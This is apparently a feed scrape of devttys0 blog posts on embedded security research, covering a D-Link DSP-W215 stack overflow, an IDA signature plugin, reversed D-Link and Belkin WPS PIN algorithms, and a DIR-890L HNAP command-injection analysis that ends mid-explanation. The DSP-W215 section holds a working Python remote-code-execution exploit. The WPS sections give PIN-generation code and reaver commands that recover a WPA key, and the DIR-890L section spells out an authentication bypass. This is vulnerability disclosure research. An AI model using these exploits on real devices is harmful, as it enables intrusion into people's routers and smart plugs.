Quantcast
Channel: Embedded Systems – devttys0
Viewing all 35 articles
Browse latest View live

Hacking the DSP-W215, Again, Again, Again

$
0
0

So far, the vulnerabilities found in the DSP-W215 have only been practically exploitable from the LAN, unless someone was foolish enough to make their smart plug remotely accessible on the Internet.

The typical way for external attackers to target internal web servers, such as the one running on the DSP-W215, is through CSRF. The problem is that any web browser used for a CSRF attack will URL encode binary values, such as our return addresses, but thus far the vulnerabilities we’ve exploited don’t URL decode our data (note that the replace_special_char function exploited in the last vulnerability only URL decodes a small range of ASCII values).

The my_cgi.cgi binary, which has been our primary target for exploitation, contains a decode function which is responsible for URL decoding POST data. This function accepts only two arguments, which are a pointer to the encoded data and a pointer to a destination buffer to store the decoded data:

void decode(char *encode_buf, char *decode_buf);

The decode function simply loops through all of the bytes in encode_buf, decoding/copying them blindly into decode_buf:

The decode while loop

The decode while loop

Roughly translated, the decode function reads:

void decode(char *encode_buf, char *decode_buf)
{
    int encoded_byte_len;
    char *encode_buf_end_ptr = encode_buf + strlen(encode_buf);

    // Loop through all bytes in encode_buf, without knowing how big decode_buf is
    while(encoded_data < encode_buf_end_ptr)
    {
        /*
         * ...
         * Do Decoding of the next byte in encoded_data.
         * encoded_byte_len = number of bytes processed in this loop iteration (1 or 3).
         * ...
         */

        decode_buf[0] = decoded_byte;
        decode_buf++;
        encoded_data += encoded_byte_len;
    }
}

If a calling function is not careful to allocate a large enough buffer to store all the decoded data, the decode_buf could be overflowed by a large POST parameter.

There is only one place in my_cgi.cgi where the decode function is called, which is from the get_input_entries function:

Only the "path" POST parameter is decoded

Only the “path” POST parameter is decoded

We can see that the decode function is only called if the POST parameter name is “path”, and from the memset we can infer that the decode_buf passed to the decode function is only a 0×400 byte stack buffer:

char decode_buf[0x400];

if(strcmp(entries[i]->name, "path") == 0)
{
    // Decode path POST value into the fixed-size decode_buf
    decode(entries[i]->value, decode_buf);
    strcpy(entries[i]->value, decode_buf);
}

replace_special_char(entries[i]->value);

This means that providing a POST “path” value greater than 0×400 bytes will overflow the decode_buf stack variable in the get_input_entries function. What’s more, we have no bad bytes, because the decode function will helpfully URL decode any offending bytes (NULL bytes become “%00″ in our POST request, for example) before copying them to the stack.

However, we have to take care in crafting our exploit buffer such that we don’t trigger the previously described stack overflow in the replace_special_char function, which is called before get_input_entries returns.

Luckily, the data passed to replace_special_char is actually strcpy’d from decode_buf first. If we put a NULL byte near the beginning of our POST data, replace_special_char will only be passed a very small string (everything up to the first NULL byte) instead of the entire POST data that has been decoded onto the stack.

A “path” POST value greater than 1060 bytes will overflow everything in the get_input_entries stack frame up to the saved return address:

The get_input_entries stack layout

The get_input_entries stack layout

And, since we have no bad bytes, we can use the return address of 0x00405CEC that was used in previous exploits in order to call system() with a pointer to the stack ($sp+0×28):

system() call at 0x00405CEC

system() call at 0x00405CEC

Here’s some PoC code in Python that overflows the get_input_entries saved return address with the address of the call to system() at 0x00405CEC and puts a command to execute on the stack at $sp+0×28:

import sys
import urllib
import urllib2

try:
    target = sys.argv[1]
    command = sys.argv[2]
except:
    print "Usage: %s <target> <command>" % sys.argv[0]
    sys.exit(1)

url = "http://%s/common/info.cgi" % target

buf  = "\x00"               # Start with a NULL byte to prevent crashing in replace_special_chars
buf += "D" * (1060-1)       # Stack filler
buf += "\x00\x40\x5C\xEC"   # $ra, address of call to system()
buf += "E" * 0x28           # Stack filler
buf += command              # Command to execute
buf += "\x00"               # NULL terminate the command, for good measure

# URL encode the path POST value
post_data = "path=" + urllib.quote_plus(buf).replace('+', '%20')

# Set a referer to show that there are no CSRF protections
headers = {'Referer' : 'http://www.attacker.com/exploit.html'}

req = urllib2.Request(url, post_data, headers)
print urllib2.urlopen(req).read()

And, of course, it works as expected:

$ ./exploit.py 192.168.0.60 'ls -l /'
drwxr-xr-x    2 1000     1000         4096 May 16 09:01 bin
drwxrwxr-x    3 1000     1000         4096 May 22 18:03 dev
drwxrwxr-x    3 1000     1000         4096 Sep  3  2010 etc
drwxrwxr-x    3 1000     1000         4096 May 16 09:01 lib
drwxr-xr-x    3 1000     1000         4096 May 16 09:01 libexec
lrwxrwxrwx    1 1000     1000           11 May 17 15:20 linuxrc -> bin/busybox
drwxrwxr-x    2 1000     1000         4096 Nov 11  2008 lost+found
drwxrwxr-x    6 1000     1000         4096 May 17 15:15 mnt
drwxr-xr-x    2 1000     1000         4096 May 16 09:01 mydlink
drwxrwxr-x    2 1000     1000         4096 Nov 11  2008 proc
drwxrwxr-x    2 1000     1000         4096 May 17 17:23 root
drwxr-xr-x    2 1000     1000         4096 May 16 09:01 sbin
drwxrwxrwx    3 1000     1000         4096 May 24 23:26 tmp
drwxrwxr-x    7 1000     1000         4096 May 16 09:01 usr
drwxrwxr-x    3 1000     1000         4096 May 17 15:21 var
-rw-r--r--    1 1000     1000           17 May 16 09:01 version
drwxrwxr-x    6 1000     1000         4096 May 22 17:15 www

A Code Signature Plugin for IDA

$
0
0

When reversing embedded code, it is often the case that completely different devices are built around a common code base, either due to code re-use by the vendor, or through the use of third-party software; this is especially true of devices running the same Real Time Operating System.

For example, I have two different routers, manufactured by two different vendors, and released about four years apart. Both devices run VxWorks, but the firmware for the older device included a symbol table, making it trivial to identify most of the original function names:

VxWorks Symbol Table

VxWorks Symbol Table

The older device with the symbol table is running VxWorks 5.5, while the newer device (with no symbol table) runs VxWorks 5.5.1, so they are pretty close in terms of their OS version. However, even simple functions contain a very different sequence of instructions when compared between the two firmwares:

strcpy from the VxWorks 5.5 firmware

strcpy from the VxWorks 5.5 firmware

strcpy from the VxWorks 5.5.1 firmware

strcpy from the VxWorks 5.5.1 firmware

Of course, binary variations can be the result of any number of things, including differences in the compiler version and changes to the build options.

Despite this, it would still be quite useful to take the known symbol names from the older device, particularly those of standard and common subroutines, and apply them to the newer device in order to facilitate the reversing of higher level functionality.

Existing Solutions

The IDB_2_PAT plugin will generate FLIRT signatures from the IDB with a symbol table; IDA’s FLIRT analysis can then be used to identify functions in the newer, symbol-less IDB:

Functions identified by IDA FLIRT analysis

Functions identified by IDA FLIRT analysis

With the FLIRT signatures, IDA was able to identify 164 functions, some of which, like os_memcpy and udp_cksum, are quite useful.

Of course, FLIRT signatures will only identify functions that start with the same sequence of instructions, and many of the standard POSIX functions, such as printf and strcmp, were not found.

Because FLIRT signatures only examine the first 32 bytes of a function, there are also many signature collisions between similar functions, which can be problematic:

;--------- (delete these lines to allow sigmake to read this file)
; add '+' at the start of a line to select a module
; add '-' if you are not sure about the selection
; do nothing if you want to exclude all modules

div_r                                               54 B8C8 00000000000000000085001A0000081214A00002002010210007000D2401FFFF
ldiv_r                                              54 B8C8 00000000000000000085001A0000081214A00002002010210007000D2401FFFF

proc_sname                                          00 0000 0000102127BDFEF803E0000827BD0108................................
proc_file                                           00 0000 0000102127BDFEF803E0000827BD0108................................

atoi                                                00 0000 000028250809F52A2406000A........................................
atol                                                00 0000 000028250809F52A2406000A........................................

PinChecksum                                         FF 5EB5 00044080010440213C046B5F000840403484CA6B010400193C0ECCCC35CECCCD
wps_checksum1                                       FF 5EB5 00044080010440213C046B5F000840403484CA6B010400193C0ECCCC35CECCCD
wps_checksum2                                       FF 5EB5 00044080010440213C046B5F000840403484CA6B010400193C0ECCCC35CECCCD

_d_cmp                                              FC 1FAF 0004CD02333907FF240F07FF172F000A0006CD023C18000F3718FFFF2419FFFF
_d_cmpe                                             FC 1FAF 0004CD02333907FF240F07FF172F000A0006CD023C18000F3718FFFF2419FFFF

_f_cmp                                              A0 C947 0004CDC2333900FF241800FF173800070005CDC23C19007F3739FFFF0099C824
_f_cmpe                                             A0 C947 0004CDC2333900FF241800FF173800070005CDC23C19007F3739FFFF0099C824

m_get                                               00 0000 00803021000610423C04803D8C8494F0................................
m_gethdr                                            00 0000 00803021000610423C04803D8C8494F0................................
m_getclr                                            00 0000 00803021000610423C04803D8C8494F0................................

...

Alternative Signature Approaches

Examining the functions between the two VxWorks firmwares shows that there are a small fraction (about 3%) of unique subroutines that are identical between both firmware images:

bcopy from the VxWorks 5.5 firmware

bcopy from the VxWorks 5.5 firmware

bcopy from the VxWorks 5.5.1 firmware

bcopy from the VxWorks 5.5.1 firmware

Signatures can be created over the entirety of these functions in order to generate more accurate fingerprints, without the possibility of collisions due to similar or identical function prologues in unrelated subroutines.

Still other functions are very nearly identical, as exemplified by the following functions which only differ by a couple of instructions:

A function from the VxWorks 5.5 firmware

A function from the VxWorks 5.5 firmware

The same function, in the VxWorks 5.5.1 firmware

The same function, from the VxWorks 5.5.1 firmware

A simple way to identify these similar, but not identical, functions in an architecture independent manner is to generate “fuzzy” signatures based only on easily identifiable actions, such as memory accesses, references to constant values, and function calls.

In the above function for example, we can see that there are six code blocks, one which references the immediate value 0xFFFFFFFF, one which has a single function call, and one which contains two function calls. As long as no other functions match this “fuzzy” signature, we can use these unique metrics to identify this same function in other IDBs. Although this type of matching can catch functions that would otherwise go unidentified, it also has a higher propensity for false positives.

A bit more reliable metric is unique string references, such as this one in gethostbyname:

gethostbyname string xref

gethostbyname string xref

Likewise, unique constants can also be used for function identification, particularly subroutines related to crypto or hashing:

Constant 0x41C64E6D used by rand

Constant 0x41C64E6D used by rand

Even identifying functions whose names we don’t know can be useful. Consider the following code snippet in sub_801A50E0, from the VxWorks 5.5 firmware:

Function calls from sub_801A50E0

Function calls from sub_801A50E0

This unidentified function calls memset, strcpy, atoi, and sprintf; hence, if we can find this same function in other VxWorks firmware, we can identify these standard functions by association.

Alternative Signatures in Practice

I wrote an IDA plugin to automate these signature techniques and apply them to the VxWorks 5.5.1 firmware:

Output from the Rizzo plugin

Output from the Rizzo plugin

This identified nearly 1,300 functions, and although some of those are probably incorrect, it was quite successful in locating many standard POSIX functions:

Functions identified by Rizzo

Functions identified by Rizzo

Like any such automated process, this is sure to produce some false positives/negatives, but having used it successfully against several RTOS firmwares now, I’m quite happy with it (read: “it works for me”!).

Reversing D-Link’s WPS Pin Algorithm

$
0
0

While perusing the latest firmware for D-Link’s DIR-810L 80211ac router, I found an interesting bit of code in sbin/ncc, a binary which provides back-end services used by many other processes on the device, including the HTTP and UPnP servers:

Call to sub_4D56F8 from getWPSPinCode

Call to sub_4D56F8 from getWPSPinCode

I first began examining this particular piece of code with the hopes of controlling part of the format string that is passed to __system. However, this data proved not to be user controllable, as the value placed in the format string is the default WPS pin for the router.

The default WPS pin itself is retrieved via a call to sub_4D56F8. Since the WPS pin is typically programmed into NVRAM at the factory, one might expect sub_4D56F8 to simply be performing some NVRAM queries, but that is not the case:

The beginning of sub_4D56F8

The beginning of sub_4D56F8

This code isn’t retrieving a WPS pin at all, but instead is grabbing the router’s WAN MAC address. The MAC address is then split into its OUI and NIC components, and a tedious set of multiplications, xors, and shifts ensues (full disassembly listing here):

Break out the MAC and start munging the NIC

Break out the MAC and start munging the NIC

While the math being performed is not complicated, determining the original programmer’s intent is not necessarily straightforward due to the assembly generated by the compiler. Take the following instruction sequence for example:

li $v0, 0x38E38E39
multu $a3, $v0
...
mfhi $v0
srl $v0, 1

Directly converted into C, this reads:

v0 = ((a3 * 0x38E38E39) >> 32) >> 1;

Which is just a fancy way of dividing by 9:

v0 = a3 / 9;

Likewise, most multiplication and modulus operations are also performed by various sequences of shifts, additions, and subtractions. The multu assembly instruction is only used for the above example where the high 32 bits of a product are needed, and there is nary a divu in sight.

However, after translating the entire sub_4D56F8 disassembly listing into a more palatable format, it’s obvious that this code is using a simple algorithm to generate the default WPS pin entirely from the NIC portion of the device’s WAN MAC address:

unsigned int generate_default_pin(char *buf)
{
    char *mac;
    char mac_address[32] = { 0 };
    unsigned int oui, nic, pin;

    /* Get a pointer to the WAN MAC address */
    mac = lockAndGetInfo_log()->wan_mac_address;

    /* 
     * Create a local, NULL-terminated copy of the WAN MAC (simplified from
     * the original code's sprintf/memmove loop).
     */
    sprintf(mac_address, "%c%c%c%c%c%c%c%c%c%c%c%c", mac[0],
                                                     mac[1],
                                                     mac[2],
                                                     mac[3],
                                                     mac[4],
                                                     mac[5],
                                                     mac[6],
                                                     mac[7],
                                                     mac[8],
                                                     mac[9],
                                                     mac[10],
                                                     mac[11]);

    /* 
     * Convert the OUI and NIC portions of the MAC address to integer values.
     * OUI is unused, just need the NIC.
     */
    sscanf(mac_address, "%06X%06X", &oui, &nic);

    /* Do some XOR munging of the NIC. */
    pin = (nic ^ 0x55AA55);
    pin = pin ^ (((pin & 0x0F) << 4) +
                 ((pin & 0x0F) << 8) +
                 ((pin & 0x0F) << 12) +
                 ((pin & 0x0F) << 16) +
                 ((pin & 0x0F) << 20));
 
    /*
     * The largest possible remainder for any value divided by 10,000,000
     * is 9,999,999 (7 digits). The smallest possible remainder is, obviously, 0.
     */
     pin = pin % 10000000;
 
    /* The pin needs to be at least 7 digits long */
    if(pin < 1000000)
    {
        /*
         * The largest possible remainder for any value divided by 9 is
         * 8; hence this adds at most 9,000,000 to the pin value, and at
         * least 1,000,000. This guarantees that the pin will be 7 digits
         * long, and also means that it won't start with a 0.
         */
        pin += ((pin % 9) * 1000000) + 1000000;
    }
 
    /*
     * The final 8 digit pin is the 7 digit value just computed, plus a
     * checksum digit. Note that in the disassembly, the wps_pin_checksum
     * function is inlined (it's just the standard WPS checksum implementation).
     */
    pin = ((pin * 10) + wps_pin_checksum(pin));

    sprintf(buf, "%08d", pin);
    return pin;
}

Since the BSSID is only off-by-one from the WAN MAC, we can easily calculate any DIR-810L’s WPS pin just from a passive packet capture:

$ sudo airodump-ng mon0 -c 4

 CH  4 ][ Elapsed: 0 s ][ 2014-09-11 11:44 ][ fixed channel mon0: -1 
                                                                      
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                    
C0:A0:BB:EF:B3:D6  -13   0        6        0    0   4  54e  WPA2 CCMP   PSK  dlink-B3D6 

$ ./pingen C0:A0:BB:EF:B3:D7   # <--- WAN MAC is BSSID+1
Default Pin: 99767389

$ sudo reaver -i mon0 -b C0:A0:BB:EF:B3:D6 -c 4 -p 99767389

Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

[+] Waiting for beacon from C0:A0:BB:EF:B3:D6
[+] Associated with C0:A0:BB:EF:B3:D6 (ESSID: dlink-B3D6)
[+] WPS PIN: '99767389'
[+] WPA PSK: 'hluig79268'
[+] AP SSID: 'dlink-B3D6'

But the DIR-810L isn’t the only device to use this algorithm. In fact, it appears to have been in use for some time, dating all the way back to 2007 when WPS was first introduced. The following is an – I’m sure – incomplete list of affected and unaffected devices:

Confirmed Affected:

  1. DIR-810L
  2. DIR-826L
  3. DIR-632
  4. DHP-1320
  5. DIR-835
  6. DIR-615 revs: B2, C1, E1, E3
  7. DIR-657
  8. DIR-827
  9. DIR-857
  10. DIR-451
  11. DIR-655 revs: A3, A4, B1
  12. DIR-825 revs: A1, B1
  13. DIR-651
  14. DIR-855
  15. DIR-628
  16. DGL-4500
  17. DIR-601 revs: A1, B1
  18. DIR-836L
  19. DIR-808L
  20. DIR-636L
  21. DAP-1350
  22. DAP-1555

Confirmed Unaffected:

  1. DIR-815
  2. DIR-505L
  3. DIR-300
  4. DIR-850L
  5. DIR-412
  6. DIR-600
  7. DIR-685
  8. DIR-817LW
  9. DIR-818LW
  10. DIR-803
  11. DIR-845L
  12. DIR-816L
  13. DIR-860L
  14. DIR-645
  15. DIR-685
  16. DAP-1522

Some affected devices, like the DIR-810L, generate the WPS pin from the WAN MAC; most generate it from the BSSID. A stand-alone tool implementing this algorithm can be found here, and has already been rolled into the latest Reaver Pro.

Reversing Belkin’s WPS Pin Algorithm

$
0
0

After finding D-Link’s WPS algorithm, I was curious to see which vendors might have similar algorithms, so I grabbed some Belkin firmware and started dissecting it. This particular firmware uses the SuperTask! RTOS, and in fact uses the same firmware obfuscation as seen previously on the Linksys WRT120N:

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             Obfuscated Arcadyan firmware, signature bytes: 0x12010920, see https://github.com/devttys0/wrt120n/deobfuscator
666624        0xA2C00         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 454656 bytes

Being a known obfuscation method, binwalk was able to de-obfuscate and extract the compressed firmware image. The next step was to figure out the code’s load address in order to get a proper disassembly in IDA; if the code is disassembled with the wrong load address, absolute memory references won’t be properly resolved.

Absolute addresses in the code can hint at the load address, such as this loop which zeros out the BSS data section:

BSS zero loop

BSS zero loop

BSS zeroing loops are usually easy to spot, as they will zero out relatively large regions of memory, and are typically encountered very early on in the code.

Here, the code is filling everything from 0x802655F0 to 0x80695574 with zeros, so this must be a valid address range in memory. Further, BSS is commonly located just after all the other code and data sections; in this case, the firmware image we’ve loaded into IDA is 0x2635EB bytes in size, so we would expect the BSS section to begin somewhere after this in memory:

End of ROM

End of ROM

In fact, subtracting the size of the firmware image from the start of the BSS section results in a value suspiciously close to 0x800002000:

0x802655F0 - 0x2635EB = 0x800002005

Setting 0x800002000 as the load address in IDA, we get a rather respectable disassembly:

A reasonable disassembly listing

A reasonable disassembly listing

With a reasonable disassembly, searching for a WPS pin generation algorithm could begin in ernest. When looking for functions related to generating WPS pins, it’s reasonable to assume that they’ll have to, at some point, calculate the WPS pin checksum. It would be useful to begin the search by first identifying the function(s) responsible for calculating the WPS pin checksum.

However, without a symbol table, finding a function conveniently named “wps_checksum” is not likely; luckily, MIPS C compilers tend to generate a predictable set of immediate values when generating the WPS checksum assembly code, a pattern I noticed when reversing D-Link’s WPS pin algorithm. Using an IDAPython script to search for these immediate values greatly simplifies the process of identifying the WPS checksum function:

WPS pin checksum immediate values

WPS pin checksum immediate values

There are only a few functions that call wps_checksum, and one of them contains a reference to a very interesting string:

"GenerateDefaultPin"

“GenerateDefaultPin”

There’s a lot of xoring and shifting going on in the GenerateDefaultPin code, but what is more interesting is what data it is munging. Looking at the values passed to GenerateDefaultPin, we can see that it is given both the router’s MAC address and serial number:

GenerateDefaultPin((char *buf, int unused, char *mac, char *serial);

GenerateDefaultPin(char *buf, int unused, char *mac, char *serial);

MAC addresses are easily gathered by a wireless attacker; serial numbers can be a bit more difficult. Although serial numbers aren’t particularly random, GenerateDefaultPin uses the least significant 4 digits of the serial number, which are unpredictable enough to prevent an external attacker from reliably calculating the WPS pin.

Or, at least that would be the case if the Belkin’s 802.11 probe response packets didn’t include the device’s serial number in its WPS information element:

Belkin probe response packet, captured in Wireshark

Belkin probe response packet, captured in Wireshark

Since WiFi probe request/response packets are not encrypted, an attacker can gather the MAC address (the MAC address used by the algorithm is the LAN MAC) and serial number of a target by sending a single probe request packet to a victim access point.

We just need to reverse the GenerateDefaultPin code to determine how it is using the MAC address and serial number to create a unique WPS pin (download PoC here):

/* Used in the Belkin code to convert an ASCII character to an integer */
int char2int(char c)
{
    char buf[2] = { 0 };

    buf[0] = c;
    return strtol(buf, NULL, 16);
}

/* Generates a standard WPS checksum from a 7 digit pin */
int wps_checksum(int pin)
{
    int div = 0;

    while(pin)
    {
        div += 3 * (pin % 10);
        pin /= 10;
        div += pin % 10;
        pin /= 10;
    }

    return ((10 - div % 10) % 10);
}

/* Munges the MAC and serial numbers to create a WPS pin */
int pingen(char *mac, char *serial)
{
#define NIC_NIBBLE_0    0
#define NIC_NIBBLE_1    1
#define NIC_NIBBLE_2    2
#define NIC_NIBBLE_3    3

#define SN_DIGIT_0      0
#define SN_DIGIT_1      1
#define SN_DIGIT_2      2
#define SN_DIGIT_3      3

    int sn[4], nic[4];
    int mac_len, serial_len;
    int k1, k2, pin;
    int p1, p2, p3;
    int t1, t2;

    mac_len = strlen(mac);
    serial_len = strlen(serial);

    /* Get the four least significant digits of the serial number */
    sn[SN_DIGIT_0] = char2int(serial[serial_len-1]);
    sn[SN_DIGIT_1] = char2int(serial[serial_len-2]);
    sn[SN_DIGIT_2] = char2int(serial[serial_len-3]);
    sn[SN_DIGIT_3] = char2int(serial[serial_len-4]);

    /* Get the four least significant nibbles of the MAC address */
    nic[NIC_NIBBLE_0] = char2int(mac[mac_len-1]);
    nic[NIC_NIBBLE_1] = char2int(mac[mac_len-2]);
    nic[NIC_NIBBLE_2] = char2int(mac[mac_len-3]);
    nic[NIC_NIBBLE_3] = char2int(mac[mac_len-4]);

    k1 = (sn[SN_DIGIT_2] + 
          sn[SN_DIGIT_3] +
          nic[NIC_NIBBLE_0] + 
          nic[NIC_NIBBLE_1]) % 16;

    k2 = (sn[SN_DIGIT_0] +
          sn[SN_DIGIT_1] +
          nic[NIC_NIBBLE_3] +
          nic[NIC_NIBBLE_2]) % 16;

    pin = k1 ^ sn[SN_DIGIT_1];
    
    t1 = k1 ^ sn[SN_DIGIT_0];
    t2 = k2 ^ nic[NIC_NIBBLE_1];
    
    p1 = nic[NIC_NIBBLE_0] ^ sn[SN_DIGIT_1] ^ t1;
    p2 = k2 ^ nic[NIC_NIBBLE_0] ^ t2;
    p3 = k1 ^ sn[SN_DIGIT_2] ^ k2 ^ nic[NIC_NIBBLE_2];
    
    k1 = k1 ^ k2;

    pin = (pin ^ k1) * 16;
    pin = (pin + t1) * 16;
    pin = (pin + p1) * 16;
    pin = (pin + t2) * 16;
    pin = (pin + p2) * 16;
    pin = (pin + k1) * 16;
    pin += p3;
    pin = (pin % 10000000) - (((pin % 10000000) / 10000000) * k1);
    
    return (pin * 10) + wps_checksum(pin);
}

Of the 24 Belkin routers tested, 80% of them were found to be using this algorithm for their default WPS pin:

Confirmed vulnerable:

  • F9K1001v4
  • F9K1001v5
  • F9K1002v1
  • F9K1002v2
  • F9K1002v5
  • F9K1103v1
  • F9K1112v1
  • F9K1113v1
  • F9K1105v1
  • F6D4230-4v2
  • F6D4230-4v3
  • F7D2301v1
  • F7D1301v1
  • F5D7234-4v3
  • F5D7234-4v4
  • F5D7234-4v5
  • F5D8233-4v1
  • F5D8233-4v3
  • F5D9231-4v1

Confirmed not vulnerable:

  • F9K1001v1
  • F9K1105v2
  • F6D4230-4v1
  • F5D9231-4v2
  • F5D8233-4v4

It’s not entirely fair to pick on Belkin though, as this appears to be an issue specific to Arcadyan, who is the ODM for many Belkin products, as well as others. This means that there are additional devices and vendors affected besides those listed above.

Hacking the D-Link DIR-890L

$
0
0

The past 6 months have been incredibly busy, and I haven’t been keeping up with D-Link’s latest shenanigans. In need of some entertainment, I went to their web page today and was greeted by this atrocity:

D-Link's $300 DIR-890L router

D-Link’s $300 DIR-890L router

I think the most “insane” thing about this router is that it’s running the same buggy firmware that D-Link has been cramming in their routers for years…and the hits just keep on coming.

OK, let’s do the usual: grab the latest firmware release, binwalk it and see what we’ve got:

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             DLOB firmware header, boot partition: "dev=/dev/mtdblock/7"
116           0x74            LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 4905376 bytes
1835124       0x1C0074        PackImg section delimiter tag, little endian size: 6345472 bytes; big endian size: 13852672 bytes
1835156       0x1C0094        Squashfs filesystem, little endian, version 4.0, compression:xz, size: 13852268 bytes, 2566 inodes, blocksize: 131072 bytes, created: 2015-02-11 09:18:37

Looks like a pretty standard Linux firmware image, and if you’ve looked at any D-Link firmware over the past few years, you’ll probably recognize the root directory structure:

$ ls squashfs-root
bin  dev  etc  home  htdocs  include  lib  mnt  mydlink  proc  sbin  sys  tmp  usr  var  www

All of the HTTP/UPnP/HNAP stuff is located under the htdocs directory. The most interesting file here is htdocs/cgibin, an ARM ELF binary which is executed by the web server for, well, just about everything: all CGI, UPnP, and HNAP related URLs are symlinked to this one binary:

$ ls -l htdocs/web/*.cgi
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/captcha.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/conntrack.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dlapn.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dlcfg.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dldongle.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/fwup.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/fwupload.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/hedwig.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/pigwidgeon.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/seama.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/service.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/webfa_authentication.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/webfa_authentication_logout.cgi -> /htdocs/cgibin

It’s been stripped of course, but there are plenty of strings to help us out. The first thing that main does is compare argv[0] against all known symlink names (captcha.cgi, conntrack.cgi, etc) to decide which action it is supposed to take:

"Staircase" code graph, typical of  if-else statements

“Staircase” code graph, typical of if-else statements

Each of these comparisons are strcmp‘s against the expected symlink names:

Function handlers for various symlinks

Function handlers for various symlinks

This makes it easy to correlate each function handler to its respective symlink name and re-name the functions appropriately:

Renamed symlink function handlers

Renamed symlink function handlers

Now that we’ve got some of the high-level functions identified, let’s start bug hunting. Other D-Link devices running essentially the same firmware have previously been exploited through both their HTTP and UPnP interfaces. However, the HNAP interface, which is handled by the hnap_main function in cgibin, seems to have been mostly overlooked.

HNAP (Home Network Administration Protocol) is a SOAP-based protocol, similar to UPnP, that is commonly used by D-Link’s “EZ” setup utilities to initially configure the router. Unlike UPnP however, all HNAP actions, with the exception of GetDeviceInfo (which is basically useless), require HTTP Basic authentication:

POST /HNAP1 HTTP/1.1
Host: 192.168.0.1
Authorization: Basic YWMEHZY+
Content-Type: text/xml; charset=utf-8
Content-Length: length
SOAPAction: "http://purenetworks.com/HNAP1/AddPortMapping"

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
 <soap:Body>
  <AddPortMapping xmlns="http://purenetworks.com/HNAP1/">
   <PortMappingDescription>foobar</PortMappingDescription>
   <InternalClient>192.168.0.100</InternalClient>
   <PortMappingProtocol>TCP</PortMappingProtocol>
   <ExternalPort>1234</ExternalPort>
   <InternalPort>1234</InternalPort>
  </AddPortMapping>
 </soap:Body>
</soap:Envelope>

The SOAPAction header is of particular importance in an HNAP request, because it specifies which HNAP action should be taken (AddPortMapping in the above example).

Since cgibin is executed as a CGI by the web server, hnap_main accesses HNAP request data, such as the SOAPAction header, via environment variables:

SOAPAction = getenv("HTTP_SOAPACTION");

SOAPAction = getenv(“HTTP_SOAPACTION”);

Towards the end of hnap_main, there is a shell command being built dynamically with sprintf; this command is then executed via system:

sprintf(command, "sh %s%s.sh > /dev/console", "/var/run/", SOAPAction);

sprintf(command, “sh %s%s.sh > /dev/console”, “/var/run/”, SOAPAction);

Clearly, hnap_main is using data from the SOAPAction header as part of the system command! This is a promising command injection bug, if the contents of the SOAPAction header aren’t being sanitized, and if we can get into this code block without authentication.

Going back to the beginning of hnap_main, one of the first checks it does is to see if the SOAPAction header is equal to the string http://purenetworks.com/HNAP1/GetDeviceSettings; if so, then it skips the authentication check. This is expected, as we’ve already established that the GetDeviceSettings action does not require authentication:

if(strstr(SOAPAction, "http://purenetworks.com/HNAP1/GetDeviceSettings") != NULL)

if(strstr(SOAPAction, “http://purenetworks.com/HNAP1/GetDeviceSettings”) != NULL)

However, note that strstr is used for this check, which only indicates that the SOAPAction header contains the http://purenetworks.com/HNAP1/GetDeviceSettings string, not that the header equals that string.

So, if the SOAPAction header contains the string http://purenetworks.com/HNAP1/GetDeviceSettings, the code then proceeds to parse the action name (e.g., GetDeviceSettings) out of the header and remove any trailing double-quotes:

SOAPAction = strrchr(SOAPAction, '/');

SOAPAction = strrchr(SOAPAction, ‘/’);

It is the action name (e.g., GetDeviceSettings), parsed out of the header by the above code, that is sprintf‘d into the command string executed by system.

Here’s the code in C, to help highlight the flaw in the above logic:

/* Grab a pointer to the SOAPAction header */
SOAPAction = getenv("HTTP_SOAPACTION");

/* Skip authentication if the SOAPAction header contains "http://purenetworks.com/HNAP1/GetDeviceSettings" */
if(strstr(SOAPAction, "http://purenetworks.com/HNAP1/GetDeviceSettings") == NULL)
{
    /* do auth check */
}

/* Do a reverse search for the last forward slash in the SOAPAction header */
SOAPAction = strrchr(SOAPAction, '/');
if(SOAPAction != NULL)
{
    /* Point the SOAPAction pointer one byte beyond the last forward slash */
    SOAPAction += 1;

    /* Get rid of any trailing double quotes */
    if(SOAPAction[strlen(SOAPAction)-1] == '"')
    {
        SOAPAction[strlen(SOAPAction)-1] = '\0';
    }
}
else
{
    goto failure_condition;
}

/* Build the command using the specified SOAPAction string and execute it */
sprintf(command, "sh %s%s.sh > /dev/console", "/var/run/", SOAPAction);
system(command);

The two important take-aways from this are:

  1. There is no authentication check if the SOAPAction header contains the string http://purenetworks.com/HNAP1/GetDeviceSettings
  2. The string passed to sprintf (and ultimately system) is everything after the last forward slash in the SOAPAction header

Thus, we can easily format a SOAPAction header that both satisfies the “no auth” check, and allows us to pass an arbitrary string to system:

